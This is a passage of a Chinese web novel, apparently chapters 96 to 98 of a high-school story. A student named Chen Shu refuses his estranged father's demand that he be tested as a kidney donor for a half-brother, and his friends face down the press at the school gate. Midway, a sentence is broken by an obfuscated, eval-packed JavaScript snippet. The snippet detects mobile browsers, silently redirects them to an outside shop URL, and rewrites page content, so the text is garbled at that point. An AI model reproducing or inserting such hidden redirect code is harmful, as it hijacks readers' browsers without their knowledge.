听完手机另一头保安的话之后,曾培温声道:“好,我知道了,我……” 与此同时,少年少女熟悉的谈话声隐隐约约地从楼道的拐角处传过来,曾培下意识地望过去,便见陈恕、张期期、林听、许兰亭和周嘉先说说笑笑地走了上来…… 他立刻和手机那边的保安说了一声,“稍等一会……”,然后向陈恕等人招了招手。 许兰亭愣了一下,“曾老师好像让我们过去。” 陈恕抬眸望过去,他抿了抿唇,曾老师不会还要说他保送的事情吧? 一行人加快步伐走过去,张期期笑着问,“曾老师,您找我们?” 曾培微微颔首,看向陈恕,又晃了晃手机,“是门口保卫处打过来的电话,说你爸妈在校门口找你,让你出去一趟。” 他话音刚落,张期期等人齐齐看向陈恕,什么鬼……陈恕的爸妈?他们是知道陈恕过往遭遇的,所以……他那个还不如没有的亲爸和继母突然冒出来干嘛,想想都觉得肯定不是什么好事! 张期期眼神担忧地看着陈恕,小声道:“陈恕……” 陈恕扯了扯嘴角,语气平淡,“曾老师,麻烦你和保卫处那边说一下,那不是我的爸妈,下次他们再来也不用打电话过来问了,我是不会出去见他们的。” 曾培愣了愣,看着陈恕眼神坚决的模样,他回过神来缓缓点头。 许是因为儿子曾逸飞被遗弃的原因,曾培这一刻突然闪过一个念头,会遗弃儿子的夫妻想来对陈恕也不可能好到哪里去,因此此时此刻,他对陈恕拒绝和父母见面这件事接受良好,甚至觉得完全可以理解。 他告知了保安处那边,陈恕拒绝了那对夫妻想见他的要求,并告知了对方,陈恕不承认那是他的父母。 “曾老师,没其他事的话,我们先回教室了?”陈恕神色平淡。 曾培眼神复杂,“回去教室吧,不用想太多,你不想见他们的话,保卫处那边不会让他们进来的,放心吧,好好学习才是你现在第一要务。” “谢谢老师。”陈恕道。 他转身往教室的方向走去,张期期、林听、许兰亭、周嘉先都眼神忧虑,时不时偷偷瞥向他。 陈恕:…… 他自然察觉到了,少年神色无奈,心底又觉得有些感动,“你们不用担心我,在我心里,他们根本不是我的父母,所以我是不会伤心的。不过……倒是有些烦躁,不知道他们怎么突然想找我。” 张期期见陈恕真的不伤心,心里松了口气,“无事不登三宝殿,找你肯定没好事,你不出去是对的。” “就是就是!有什么好见面,见了还堵心呢!”许兰亭义愤填膺。 周嘉先、林听也附和着,他们都不同意陈恕去见校门口的那对夫妻。 陈恕笑了笑,只觉得胸腔中流淌着热乎乎的暖意,“嗯,我不会去见他们的,你们放心吧。我和他们已经没有什么好说的了。” …… 校门口,保安将电话挂断,他眼神微妙,狐疑地盯着那对夫妻,但口头上还是礼貌回绝道:“不好意思,那个……你们的孩子拒绝出来见你们。要不,有什么事,你们还是等他放假再说吧。” 陈岩一听,顿时勃然大怒,“我是他爸,让他出来见个面怎么了?这位大哥,他们班主任的电话号码是多少,您告诉我,我直接打电话给他们班主任。” 保安大哥一脸为难,拒绝道,“有什么事还是等孩子放假,你们再找他说吧。我这边……我这边还要值岗呢!不好意思了啊!” “放假!高三什么时候放假!”陈岩的妻子死死地揪住保安的手臂,大声问道。 保安想了想,“这个月月底吧。” “不行不行,我们家宝等不了那么久了。”她顿时坐在地上开始嚎啕大哭,“我的儿子啊,我的儿子得了病,现在躺在床上就等着配型呢!” “大家评评理啊……陈恕作为哥哥,难道就眼睁睁地看着他弟弟去死吗?还有没有良心啊,你们京照一中难道就收这种没良心的学生吗?” 陈岩回忆起儿子消瘦的面容,蹲在校门口,神色沉痛,“就算他记恨我这个爸爸,但家宝到底是他的亲弟弟啊,要不是我和孩子他妈配型都不成功,哪里需要他啊?” 校门口来来往往,围观的学生和家长皆是眼神各异,虽然不清楚完完整整的事情,但从这几句话就透露出一部分的信息。 陈恕的弟弟躺在病床上生了病,就快要死了,但是陈恕作为哥哥不愿意去给弟弟配型,准备眼睁睁看着弟弟去死,甚至连父母来求他见面,他都不愿意去见…… 众人震惊、咂舌,陈恕耶……京照一中的校草陈恕耶,没想到那样清隽俊秀的男生居然是这种人,对待家人毫无情理,冷酷无情,居然能眼睁睁让自己的弟弟去死。 洪志佯装气愤,“配型而已,又不是一定能配上,陈恕连去都试一下都不肯啊!就算配型配上了,他也不会死啊,不过是要他一个肾而已,这样的话,家宝弟弟也能活下来。” 众人面面相觑,他们是真没 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惶恐、惊惧席卷他的心头,不行!再来几次,万一陈岩正好撞上他没戴口罩的时候呢,他不可能一直戴着口罩的啊! 他平和幸福的家庭绝对不允许被破坏,这一切……这一切只要陈恕离开京照一中就好了。 德国慕尼黑大学,多好的大学啊,陈恕怎么就不去呢?连他养父都这么觉得,这一定是个正确的决定,他哥哥陈恕只是还年轻,以后!以后他一定会后悔不去的,所以……哥哥,以后你会感谢我的,你一定会感谢我的! 曾逸飞心下稍定,他得想想办法,看看怎么样才能让他哥哥陈恕去国外上大学!而且,陈岩夫妻好像完全无法掌控陈恕的行踪,难道陈恕并没有和他们住在一起? 曾逸飞沉默着,心里打算着得赶紧找个时间去打听打听到底是什么情况! …… * 上午四节课上完,放学铃声响起。 张期期、陈恕、林听、许兰亭、周嘉先一行人前前后后相伴着往第一学生饭堂走去。 周嘉先走在许兰亭的身边,和他谈着早上课间时间见缝插针给他集训的内容,许兰亭整个人显得焉焉的,完全提不起精神。 陈恕、张期期、林听并排着走在他们身后,张期期低声笑着道:“看兰亭那样子,我真的有种幻视我当时被班上的同学集训英语的情景。” 林听抿唇笑着,“不过当时期期你可比兰亭难逮多了……大家上演地道战,还使出美男计、美人计才抓到你呢!” 陈恕:…… 一想起当时,陈恕都感到头疼,穿着西装皮鞋骑自行车的那一幕真的太让他印象深刻了。 张期期尴尬不已,“林听!拜托!拜托!千万别再说了!往事不堪回首!” …… 一行人说说笑笑地走在校道上,半响后,他们纷纷皱起了眉头。 许兰亭扭头低声说,“怎么回事?我怎么觉得路上的同学好像都在偷偷看我们?” 周嘉先放慢脚步,走在了陈恕身边,“我也觉得。” 陈恕抿唇,“他们是在隐晦地打量我。” 他没说的是,这种打量和以往并不一样,以往学校的同学因为之前校草选举这一事,他走在路上时,同学们会投过来好奇打量的目光,但今天他们的目光并不是纯碎的好奇,反而更像是觉得难以理解和嫌恶一样。 张期期皱起眉头,“会不会今天早上校门口那对夫妻搞出来的事情?” “应该是吧……”陈恕笑了笑,接着道:“算了,这不是什么大事,他们看就看吧。我不放在心上就行。” 张期期几人面面相觑,由于不知道具体发生了什么,他们只能暂时按下不表,先去食堂吃午饭。 只不过才刚到食堂,他们困惑不解的事情就揭开了谜底。 以往,张期期一行人一向都是到食堂就各自分开排队打他们各自喜欢的饭菜类型,但今日因为在校道上发现学校的同学投过来的奇怪目光,他们便没了兴致,一行人随便找了个队伍短的窗口开始排队打饭。 他们神色不郁,都保持了沉默,以至于队伍前方正在背后说人的男生们完全没有意识到他们议论的主人公就排在他们身后不远处。 “早上校门口发生什么事了,你们知道吗?” “哦!我知道我知道!”男生兴奋道,“我当时就在校门口,亲耳听见,亲眼看见了。” “你们俩打什么谜语呢?怎么啦?” “我和你说啊,就是我们学校的校草陈恕啊,早上他爸妈来学校门口了,想见陈恕一面,但他拒绝了,因为啊,陈恕的弟弟生病了,好像需要一个肾,他们来找陈恕去配型,但陈恕见都不见他们。牛逼吧!” “我去!面对亲弟弟都见死不救啊!没想到啊,他居然这么狠心。” “……” 接下来的话,张期期完全听不下去了,她捏了捏掌心,眼里仿佛在喷火一样,大声朝那群人道:“你们知道什么?你们什么都不知道,就随便诽谤别人吗?” 陈恕连忙攥住了张期期的手腕,生怕她一个不注意,又像上回一样像只小牛犊一样创别人,这可是在学校,他们都要毕业了,期期没必要因为她背上处分。 “期期,不用管他们。” 在背后议论陈恕的那群男生闻声下意识地转过头来,与陈恕、张期期等人面面相觑,好半响,他们神色尴尬,眼神飘忽,背后议论别人却被人家当场听见,说到底他们的行为也是很没品。 许兰亭瞪了他们一眼,恐吓道:“嘴上把把门吧你们,再有下次,你们就试试。” 打饭的队伍缓缓向前,刚好轮到那群议论陈恕的男生,食堂阿姨大声催促道:“你们几个还打不打饭啊?” “打!打打打!”几人面色尴尬地打完饭,假装无事发生一样,脚步却迅速加快,消失在了张期期、陈恕他们的眼前。 …… 97. 第 97 章 - 一顿午饭吃得完全不是滋味,张期期、陈恕、林听、许兰亭和周嘉先草草吃完后顶着路上一些同学异样的目光回到了高三教学楼。 原以为到了高三教学楼能松一口气,毕竟高三生并不会花时间在这些谣言上,但没想到的是,他们从走廊上走过时,其他班级的同学们也隐晦地打量着陈恕。 张期期察觉到后,气呼呼地走在走廊上,将地板踩得梆梆响,她不甘示弱地瞪回去,看什么看! 陈恕走在她的身侧,微微侧首便见到她这幅仿佛气成河豚的样子,他忍俊不禁,眼眸露出笑意。 张期期:?? 她气急败坏,“陈恕!你怎么还笑得出来,我都要气死了!”说着,她梆梆又踩着地板。 陈恕微微垂了下眼眸,复又睁开,微笑道:“我其实也不是完全没放在心上,他们异样的眼神还是会让我觉得不适,但可能是因为你们看起来比我还要担忧还要愤怒,我反而没多大感觉了。” 他的目光扫过身旁的朋友,气呼呼的期期,眉心蹙起的先哥,眼神忧虑的林听,愤怒沉默的兰亭,虽然非常不适宜,但此时比起其他人那些冷言冷语、无妄揣测,他此刻感受到的却是身边朋友们簇拥着的温暖,他心中动容。 张期期怒了努嘴,“你就是傻!” 许兰亭不满道:“难道就任由他们说吗?” 林听沉默地看向陈恕,顿了片刻之后,小声道:“澄清的话,又要牵扯出陈恕的过去的遭遇,我……” 周嘉先微微摇头,“怕就怕他们又会对着陈恕过去的遭遇反复议论。” 这也是他们都担心的事情,更甚至万一有嘴巴坏的,议论起陈恕的妈妈呢……相信那才是陈恕最不愿意面对的情况。 教室就在眼前,陈恕笑着道,“好了,我们现在最重要的是高考,等我们上了大学离开这里,一切就都可以过去了。” 张期期眼眸一亮,“是啊!所以我们可不要被别人影响到!” 周嘉先点头,“好,那兰亭下午的集训继续!” 许兰亭顿时哀嚎一声,一行人沉重的心情稍稍缓解了,又说说笑笑起学习上的事情去了…… …… 午休铃声还未响之前,重点一班的学生陆陆续续,三三两两地从教室外走进来,他们虽然极力控制,但目光还是极快地从陈恕的身上掠过。 陈恕似有所觉,攥紧了手心的黑色水笔,他抿了抿唇,心底浮现一丝丝的烦躁和忐忑。 他不得不承认,他们班的同学在他心中并不是学校路上那些随便擦肩而过的同学,从他转入这个班级以来,他们就以一种蛮横的方式横冲直撞地撞入他的心中。 冬日大雪里,他们排成一长队顶着寒风滑雪,春季运动会上,他们一起喊着狂妄自大的口号,夏季暑假前,他们一起拟定“作战”计划,在学校上演地道战,只为给期期集训英文,秋季顶楼上,大家一起偷偷摸摸地烧烤拍照…… 不止……不止这些,论坛爆料,他们为他打抱不平,他们即便什么都不知道,为了不让他成为学校里的异类,也跟着他在夏日穿起了长袖校服…… 他们与他还有好多好多日常的回忆,即便有时候他苦恼这群人的脑回路,几度觉得他们脑子有病,但……但不可否认,他们在他的心底占据着极大的位置,他对他们同样抱有期望。 …… 「就是我们学校的校草陈恕啊,早上他爸妈来学校门口了,想见陈恕一面,但他拒绝了,因为啊,陈恕的弟弟生病了,好像需要一个肾,他们来找陈恕去配型,但陈恕见都不见他们。牛逼吧!」 「我去!面对亲弟弟都见死不救啊!没想到啊,他居然这么狠心。」 “……” 这些话又再次浮现在他的脑海里,他们也会这么看待他吗?陈恕抿唇,笔尖在试卷上划出一道口子。 所有的思绪仿佛如狂风过境一样猛吹着他的心中的田野,墙壁上时钟的秒针走动间发出“擦擦擦”的声响,教室里慢慢坐满了人。 等陈恕艰难地从满脑子的泥泞中回过神来时,他发现班级里的同学比起以往,仿佛显得极为闹腾。无论是请教问题的声音,还是背诵英语的单词的声音,又或者是笑闹声、翻阅书本的声音都比之过往显得极为嘈杂和刻意。 能不刻意吗?重点一班的同学以往学习过程中都是力求不发出过大的声音生怕打扰到同样在学习的其他同学。而此刻他们仿佛为了遮掩什么,搞出一副每个人都沉浸在自己学习中,无暇顾及其他事情的情景。 唔……只不过……这场景他想说用力过猛了啊…… 陈恕内心泛上一片酸涩,眼底冒出来一股热意,他闭了闭眼,复又睁开,少年眼底的雾气散去,嘴角露出真切的笑容。 他目光随意晃动,却触不及防地对上张期期笑意盈盈的目光,她温润的眼神仿佛在说,看到了吗?我们班上的同学才是我们值得认可的同学,他们和其他人完全不一样。 陈恕抿唇笑了,嗯…… 夏日午后,阳光明媚,轻薄的窗帘随着风轻轻吹动着,从他手臂上滑过,仿佛也宽慰了他紧绷着的心弦。 …… 只是……这个年纪的他们未能想象当孩子到了生死关头时,作为父母的陈岩夫妻二人能做出什么疯狂的举动来。 在接连一周怎么闯都闯不进京照一中之后,陈岩夫妻看着手中的病危通知书,脑子里紧绷的弦终于断掉了。他们找了媒体、记者,一窝蜂地出现在京照一中的校门口。 时值家长送孩子上学,校门口熙熙攘攘,嘈杂喧闹。 陈岩夫妻在校门口涕泗横流,甚至双双跪下,不断地祈求着,表示他们想见陈恕一面。 摄影师扛着镜头,记者拿着话筒抵在保安的面前,语气尖锐,“可怜天下父母心,他们就是想见那位叫陈恕的男生一面,该校为何如此不近人情?人命关天的大事,学校连给他们见一面都不行吗?” 保安吓得脸色难看,从未见过这种场面的他忍不住伸手想挡住镜头,他偏过头道:“……学校就是这么规定的,我只是按照规定办事而已。你们不要为难我。” 不远处另外的记者也拿着话筒采访校门口的其他家长,“该校录取如此冷酷无情,对亲弟弟袖手旁观的学生,您对此有什么看法?” “学校硬是按照规则办事,不懂得人命关天的大事前要通融,会不会影响您对京照一中这所学校的看法?” “……” 场面混乱不堪,记者甚至抓着准备进校门的同学,话筒怼到他们面前,“同学,请问你认识陈恕吗?他在学校是一个怎么样的学生?” “请问你在学校见过陈恕?他最近状态如何,亲弟弟就要死了,他还能心安理得地读书吗?” “请问……” 被抓着不放的女学生尖叫一声,校门口彻底混乱起来。 “求求你们了,我们就想见见陈恕,就是配个型而已,家宝都要死了……” “让陈恕出来见见我们吧……我知道我这个爸爸作为不好,但家宝是他弟弟啊!他不能见死不救啊……” …… 学生会纪律委员们见状,全部都懵住了,学生会会长曾奇刚好今日值岗,他迅速反应过来,跑到了旁边的保卫处,按下校门口的伸缩门,直接将门锁住了,防止媒体记者和那对夫妻冲进来…… 他从保卫处拎出一个大喇叭,大声喊道:“同学们!请注意好自己的人身安全。我现在就打电话给老师、主任,让他们立刻过来……校门等会儿再开。抱歉了,请你们稍等一下。” 喊完,他直接翻起桌面上记着电话的小本子,首先打给了教导主任,电话一接通,他快速将事情三言两语解释清楚,得到了教导主任“等着,我马上就来”的回复。 接着他又打给了高三重点一班的新班主任曾培,也就是他的表叔,他自然知道陈恕就是表叔班里的学生。 …… 曾培此时正站在讲台上看着底下的学生埋头学习着,突然他口袋里的手机“噔噔噔”地震动起来,他悄悄摸出来看了一眼,随后皱起了眉头。 ……这是学校保卫处的电话。 想到上周校门口闹事的那对夫妻,他眼底闪过怒意,悄悄走出教室后,他站在走廊上接通了电话,“喂——” 他才刚发出一个音节,电话那头便截断了他未尽的话语。 「表叔,是我,曾奇。学校门口出事了……」 「……」 曾培听完之后,脸色刷地一下子沉了下来,眼眸中怒火翻涌。关于陈恕的问题,上周事情发生之后,他打了个电话给他们上一届的班主任张扬,从他那里了解了陈恕的家庭情况。 虽然张扬老师无法回答他所有的疑惑,但他也将他知道的事情告知了他。 曾培知道陈恕这个孩子受了太多太多的苦,校门口那个男人同样弃养了陈恕,那个女人也并不是陈恕的亲生母亲,他的亲生母亲已经去世了,并且陈恕在养父那里过得不好,经常被殴打,而现在他还未住校之前他是自己一个住的,学费、生活费都是自己想办法兼职赚钱。 也是因为和张扬老师的这通电话,他才打消了找那对夫妻讲陈恕保送的事。 电话那头,曾奇问道:“表、老师,你看要不要让陈恕过来一趟……” 曾培回过神来,斩钉截铁道,“不用!教导主任都过去了,他能解决好这个问题的。” 他一下子挂断了电话,胸腔起起伏伏着,真是有了后妈就有后爹,这句话说得没错,孩子又不养,现在另外一个孩子生病了,却记起陈恕来了!配型……想都别想。 他站在走廊外平复了一下心情,准备回教室时,电话又响了起来,曾培紧皱眉头接通电话,冷冷道,“我不是说了,不去的吗?” 电话那头,男人沉稳的声音响起,「曾培,是我。你让陈恕过来一趟,立刻马上。」 “主任,我不同意。陈恕现在是心无旁骛冲刺高考的关键时期,不能影响到他。” 「是不能影响到他,但我们学校其他的学生呢?这件事不解决,影响学校其他学生就行吗?」 曾培顿时哑口无言,他攥紧手机,神色难看。 「你放心,不是让他出校门口,就隔着校门说话,你不放心的话,也一起过来。」 “好。”曾培最终艰难道。 …… 今年的夏天似乎来得格外早,才三月中旬,温度就已经直逼三十度。 闷热的风吹拂着,曾培深吸了几口气之后才神色平静地走进教室,他悄悄走到陈恕身边,低声道:“陈恕,你跟我出去一下。” 陈恕顿了顿,将黑色水笔轻轻放在桌面上,沉默地跟着曾培走出教室。 张期期侧首看着陈恕和曾培走出教室后门,她神色沉凝,回过头来时恰好撞上了许兰亭看着教室后门的眼神,两人对视一眼,默契地悄悄站起身。 然而他俩刚走到教室门口时,发现身后还跟着林听和周嘉先,张期期压低声音道:“你们怎么也……” 周嘉先打断她的话,“先别说这个,我感觉曾老师叫陈恕出去肯定有什么事发生了,我们现在跟上去看看。” “好。”张期期郑重点头。 几人保持着不远不近的距离,跟着曾培和陈恕走到了校门口附近。 远远望去,校门口挤满了人,原本应该打开的伸缩门已经完全关起来了,闪光灯时不时闪烁着,话筒的声音也隐隐约约地传了过来。 张期期、周嘉先几人面面相觑,神色沉重,那是媒体记者吧?事情闹得这么大了,陈恕该怎么办? …… 曾培领着陈恕赶到了学校门口时,教导主任正绷着脸,沉声道:“麻烦把摄像头关掉,你们拍的照片肯定拍到了我们学校的学生,他们还是孩子,还未成年,如果你们敢用拍到了我们学校学生的照片发新闻的话,我们一定会追究你们的责任。” 教导主任的话一出,围观的家长们才意识到这一点,他们纷纷出声道:“对对对,刚刚你采访我的时候拍到我家孩子了是吧?麻烦把视频、照片都删除一下。” “你们这样不行吧?拍到我家孩子,我要投诉你们的。” “不要拍了,不要拍了,听到没!” …… 见围观的家长们生气地制止他们,迫于压力和形势,扛着摄像头的媒体员工只能停止了他们“咔嚓咔嚓”的拍摄行为。 记者们见拍摄不了也没有气馁,他们打开了录音设备,隔着伸缩门一个劲地想把话筒伸到教导主任的面前。 “你是一中的主任是吧?请问陈恕对亲弟弟见死不救的行为你怎么看?” “听说陈恕的学习成绩不错,在学校一直都是第一名,请问您是否因为他的成绩所以选择对他冷漠的行为视而不见呢?” …… 他们脱口而出的话字字句句难听得不行,教导主任作为成年人都觉得针扎一样难受。 他正待反驳时,突然跪在地面不肯起身的那对夫妻连滚带爬地蹦起来,跑到了伸缩门面前,撕心裂肺地喊着,“小恕,爸爸求求你了,救救你弟弟吧。” “小恕,只要你这次救救你弟弟,你想要多少钱,我们都给,我们卖房子卖车都给你。” “他可是你亲弟弟啊,你不能眼睁睁让他去死啊!” 教导主任见状,立刻回头,果然陈恕神色冷淡地站在他的身后。 与此同时,不死心的媒体工作人员又开启了闪光灯,对着陈恕疯狂一顿拍,教导主任神色铁青,怒道:“你们再这样,我们一定追究你们的责任。” 他说话时,曾培立刻站在了陈恕的身前,帮他挡住了那些摄像头。 张期期、周嘉先、林听、许兰亭脸色一变,立刻跑过去,围在了陈恕的身边,陈恕一愣,诧异地看着他们,“你们……你们怎么过来了?” 说着他突然面色一变,伸手推了推张期期,“快回去,这里有摄像头。他们会拍到你们的……快回去。”他不想他的朋友们卷入这些事情中。 张期期按住了他的手,眼神认真坚定,“我们不会回去的。” 许兰亭、周嘉先、林听纷纷点头,坚定地站在他的身边,扭过头来的曾培皱了下眉头,但也没有说什么,因此此刻并不是纠结这些的时候。 张期期看向伸缩门外的媒体记者,她的眼神非常好,一下子就认出来了,那几家媒体是出了名的给钱就上,作风并不好,没有半点行业道德。 作为“盛明”五星级连锁酒店产业的千金,张期期并不是没有和媒体打过交道,一向跳脱的她此时变得沉稳和圆滑。她拍了拍陈恕的手让他放心,随后往前走过去,“你们是江河日报、蓝图日报、吉云日报吧?对于今天这件事,如果你们胡乱编造的话,我们一定会告你们的。” 许兰亭冷笑道,“别小看我们,以为我们是小孩子就不怕。”他指了指张期期,嘲讽地看着他们,“她是盛明连锁酒店张家的女儿,完全有财力告你们的哦……” “哦,对了,我家是许氏地产,也有点小钱,支付告你们的律师费还是可以的。” 被一一点出来的“江河日报”、“蓝图日报”、“吉云日报”的媒体工作人员顿时脸色难看,三方人员互相看了看对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740396|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他们没想到张家的女儿、许家的儿子居然会和陈岩夫妻的儿子是朋友。 这下子是踢到铁板了……他们脸色一阵扭曲,这会儿犹豫着是不是应该赶紧撤,但他们又收了陈岩夫妻俩的钱,这……这…… 就在他们犹豫的时候,陈岩突然一个奋起,想从伸缩门攀爬翻过去,保安见状,立刻上前将人拉了下来。 被老师、朋友挡在身后的陈恕抿了抿唇,方才闪光灯下他浑身一僵,心头泛凉又无力,然而此刻看着他们挡在自己身前的身影,一股热意袭上他的眼角,曾经不愿意面对,缄口不言的过去也并非那么难以说出口了。 他绕开身前的老师、朋友,走到伸缩门面前,曾培、林听、周嘉先等人脚步一动,眼神担忧地看着他。 陈恕笑了笑,“没事,我就和他们说几句话而已。” 闻言,张期期转过头来看了一眼陈恕,她立刻意识到他是想澄清那些污言秽语,“等等,你们那三个报社先别走,正好听听真正的真相是什么。” 江河、蓝图、吉云日报的工作人员只能停住脚步,硬着头皮站在原地。 陈恕对着张期期笑了笑,随后看向一门之隔的陈岩夫妻,他神色冷淡下来,“陈岩,你身为我的父亲,却没有尽到抚养我的责任,我们有十年没有见过面,见了面之后你们一家也避之不及,就这样你还觉得你是我家人吗?” “还有,陈家宝他不是我亲弟弟,我妈还没出事之前你就已经出轨了吧,陈家宝就是你出轨的证明,我不是圣人,想让我给他配型?”他冷笑一声,“凭什么啊!” 对于母亲的尊重让他三言两语掠过了那些惨痛的过去,他不愿意在陈岩的面前过多地提起他的母亲。 “我不会去配型的,你们死心吧。”陈恕一锤定音道。 少年神色淡然,说出来的话语却如平地惊雷,围观的学生和家长顿时愕然,就这?就这样的父亲也有脸皮自称是这个男生的爸爸? 十年没见过面,而且看样子这个男生的学费、生活费什么的他应该也没出过,还出轨,躺在病房上的是小三生的儿子,就这?还说是亲弟弟,仇人还差不多吧! 这个男生要是真去配型了,那真是圣人降临了……要换成他们,那是恨不得他们一家都去死的! 张期期嘲讽地补了一句,“没事的时候,就对陈恕避之不及,现在有事了,就想起他来了是吧?笑死,你们可想得真美!” 许兰亭:“想得美,但丑啊!还真是丑人多作怪!” 周嘉先:“做人不要太没良心吧?” 林听狠狠咬牙,捕风捉影的无良媒体肯定是他们在背后推动的,这一幕对她来说尤其熟悉和痛恨。当初她爸妈因为车祸去世时,闯红灯的那个男人就是搞了这一手,企图将责任推到她爸妈身上。 她看着那些媒体,看着利用媒体的陈岩夫妻,头一次说出了恶毒的话,“你们的孩子躺在病床上,说不定是你们做的孽,你们的报应呢!” 闻言,张期期、陈恕、许兰亭和周嘉先内心有点诧异,神色微动,但就目前的情况,他们只能暂时按下不表。 陈岩的妻子开始尖锐地咒骂,咒骂陈恕、咒骂学校的老师和主任,甚至围观的家长也被她给骂了,凭什么他们的孩子健健康康的,而她的家宝却要躺在病床上。 陈岩脸色铁青地望着陈恕,咬牙切齿,“你就这么恨我们,恨到恨不得家宝去死?” 看着这夫妻俩的丑相,围观的家长、学生得知了他们自己造的孽,突然意识到他们被利用了,媒体和这夫妻俩就是在煽动他们的情绪,让事情闹大,逼那个男生出来。 可怜之人必有可恨之处! 这时,警笛声由远及近传来,教导主任终于松了口气,他刚才来校门口之前就已经报了警……陈岩夫妻二人和那些媒体便被警察带走了。 事情终于得到控制,教导主任让保安将门打开,学生恢复正常进校程序,而他本人则是跟着警车去了派出所…… 曾培拍了拍陈恕的肩膀,他心里复杂得很,好半响他叹了口气,“你们几个先回教室吧,接下来的事,不用担心,老师和主任会处理的。” 他作为班主任,大概最好还是也去一趟派出所,他知道的比教导主任多多了。 张期期、陈恕一行人点点头,几人拉扯着陈恕迅速离开了校门口。 …… 校道上,日光倾泻而下,树影随着微风在地面上摇曳晃动着,张期期愁眉不展,还是忧心忡忡,“我怎么感觉他们肯定不会就这么放弃的。” 陈恕抿了抿唇,“你的感觉没错。” 许兰亭胳膊架在陈恕肩膀上,语气故作轻松,“别担心,他们进不来的。我们学校的老师、主任都蛮给力的。” “嗯。”陈恕点头。 林听微微笑了笑,“今天这事也算给陈恕你澄清了,至少大家不会再用那种眼光看待你。” 许兰亭摆了摆手,“好了,我们不说这个了。”他神秘兮兮继续道:“我们去买个雪糕吃吧,要不要?” 陈恕&周嘉先&林听:…… 张期期重重点头,“好啊,我们现在就去买。” 一行人从小卖部出来,手里各自捏着一只雪糕,高三教学楼门口的花坛上,他们排排蹲着,咬着雪糕吃。 林听顿了顿,突然觉得这一幕好像有点眼熟,仿佛曾经发生过一样。片刻后,她终于想起来了,没错,还真的是曾经发生过的,只不过当时他们并不是排排蹲在这一栋教学楼门口。 张期期感受着巧克力的味道在口中融化,她咽下后,突然小声道:“林听,你刚刚怎么了?我觉得好像有点奇怪。” 她一问,其他人纷纷侧首看向林听,刚才林听的情绪波动他们自然也能感受得到。 林听微微笑了笑,“其实也没什么,我只是想到了以前的事……”她将媒体胡乱编造事情,明明她父母是受害者,却因为不是完美受害人反而被群起攻之的事情告诉了他们。 许兰亭听得手指捏得梆梆响,这群无良媒体!真是够了! “所以……我将来想当一名记者,一名有职业操守的记者。”林听突然道,今天陈恕这件事再次翻起了她心中难以忘却的过往。 “记者?!”张期期惊讶道,她眼眸中带着新奇,身边的同学包括陈恕、许兰亭、周嘉先都没有说过他们将来想做什么,这是第一次她听到林听对自己未来的规划。 “嗯!记者。”林听肯定道。 张期期哇了一声,“林听,你真棒!我觉得你知道自己想要什么,知道未来想成为什么样的人,真的好酷哦。” 她敢于说出来,也在一步步朝自己的目标前进,张期期突然感到羡慕不已,她可以自由地安排自己未来的人生。 而她呢……张期期心底忍不住失落,她攥了攥指尖,仿佛能感受到画笔放在手心的触感和重量,但……她闭了闭眼,将波澜起伏的心绪抚平,没关系的,只要爸爸妈妈高兴就好了。 此时的她并没有意识到,其实她的潜意识里已经意识到原本和谐恩爱的家庭氛围在摇摇欲坠,她只是在徒劳地听从家人的意愿,想要以此来维持家庭表面和睦的假象。 从未想过未来的许兰亭笑着道,“没错,林听真厉害。” 话音刚落,蹲在花坛边缘上的许兰亭、张期期、陈恕、林听和周嘉先突然看见他们面前的地面上出现了一道身影。 众人大惊失色,继而满脸颓然,将剩下的一点点雪糕塞在嘴里咽下,继而“乖顺”地站起来,转过身,低下头,异口同声道:“老师,我们错了。” 返回来拿东西的曾培:…… 98. 第 98 章 - 金黄色的太阳光芒从走廊上射进来,落在地面上泛成一片蜜色,对流的风卷起少年少女的衣摆,飘起又落下…… 高三重点一班教室门口排排罚站着学生,教室内的同学投去揶揄的目光,目光中还夹杂着一丝丝怀念,啊……这场面还真是久违了! 张期期、许兰亭这两个家伙肯定带着林听、陈恕还有他们班长搞事情被当场抓住了吧?唔……这次难道又是上课期间偷偷溜出去吃雪糕? 噗哈哈哈—— 好衰啊,怎么每次都被抓! 许兰亭瞪了一眼正“幸灾乐祸”的蒋文、王思他们,随后回过头来,小声道:“原来刚刚已经上课铃声响了啊,我都没听到……” 没听到的何止许兰亭一人,当时他们吃着雪糕聊着天,愣是一个人都没注意到铃声响了,真是离谱! “我也没听到!”张期期长叹一声,叹完后,她眼神一眯,狐疑道:“你们不觉得我们班的同学对于我们被罚站的事情有点淡定过头了吗?” 周嘉先闻言,抹了一把脸,“……期期,你对这个问题心里是真没点数啊!” 许兰亭噗呲噗呲地笑出声,“她心里当然没点数,因为她心里都是陈恕。” 好一个谐音梗,林听、周嘉先忍俊不禁,那还真是…… 张期期斜眼瞥向站在她身旁的陈恕,陈恕低头望着她,四目相对的瞬间,少女蓦然涨红了脸,她气急败坏地用手肘捅了下身旁的许兰亭,许兰亭夸张地嘶了一声,举手投降。 五人闹成一团,站在讲台上的曾培一览无遗他们之间的小动作,他眼神无奈,却也松了一口气,今天早上的事情看起来并没有影响到他们,都是个性坚韧的孩子们呐! …… 罚完站之后,张期期、许兰亭几人你拉我,我拖你地回到了教室内。 周嘉先坐回了位置上,他悄悄环顾四周,确认是安全的之后,便将手悄悄摸进桌柜里把手机拿出来。他低着头,指尖在手机上快速地戳着,很快一篇帖子便发布在了学校的贴吧上。 确认发布之后,他将手机放回了书包内,对于这些日子陈恕莫名受到的揣测和不怀好意的目光,就由这篇帖子和早上真正听到真相的学生为他辩白吧。 京照一中的学生虽然并非每个人都拥有对事情清晰的认知和鉴定,他们也有可能人云亦云,但相信在真正的事实面前,他们不会故意去诋毁和侮辱同校的学生。 事情也正如周嘉先预料的那样,帖子发布之后,点击量就疯狂往上升,帖子也被顶到了贴吧的最上面,楼内很多高一高二的学生,他们作为在校门口亲眼见证实情的人都在为陈恕说话,偶尔有几个挑刺的,也被人一字一句、条条有理地反驳了回去。 周嘉先看见挑刺的人的ID后,眉心一皱,又是这个家伙,哼!再领禁言套餐吧! 